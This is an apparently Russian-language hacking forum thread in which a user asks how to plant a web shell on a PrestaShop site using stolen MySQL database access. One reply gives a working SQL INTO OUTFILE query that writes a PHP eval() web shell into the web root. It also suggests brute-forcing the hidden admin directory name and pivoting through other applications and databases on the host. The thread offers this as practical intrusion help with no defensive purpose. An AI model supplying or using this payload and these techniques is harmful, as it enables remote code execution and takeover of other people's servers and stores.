PrestaShop шелл

[r0t0r]

Господа, кто-нибудь знает или умеет лить шелл на PrestaShop без доступа к админке, но с доступом к бд мускула?
Поковырял CMS-ку - разрабы знатно заморочились с тем чтоб припрятать админку. При установке генерится рандомный набор символов, который добавляется к названию директории с админкой, в итоге получается что-то типа admin7381k7ayeu. Этот набор символов ни в каком месте больше не светится, ни в бд ни в файлах.

 

[f22]

но с доступом к бд мускула?

Если есть доступ к БД что мешает узнать пароли к админке и зайти через неё?

 

[larchik]

Если есть доступ к БД что мешает узнать пароли к админке и зайти через неё?

так он админку найти не может

 

[f22]

так он админку найти не может

Ну так это же не проблема базы данных, это проблема прямых рук )

 

[massdie98]

1) При условии что есть file_priv=y у пользователя базы и ты знаешь полный путь куда лить будешь файл + там есть права на запись и mysql стоит на том же сервере. Запросом вроде

SELECT "<?php eval($_GET['code']); ?>" into outfile "/var/www/codeby/yatvoyshell.php"

2) Посмотри алг как генерируется в движке имя этой папки, попробуй пробрутить.
3) Другие приложения на хосте? Доступ к другим базам?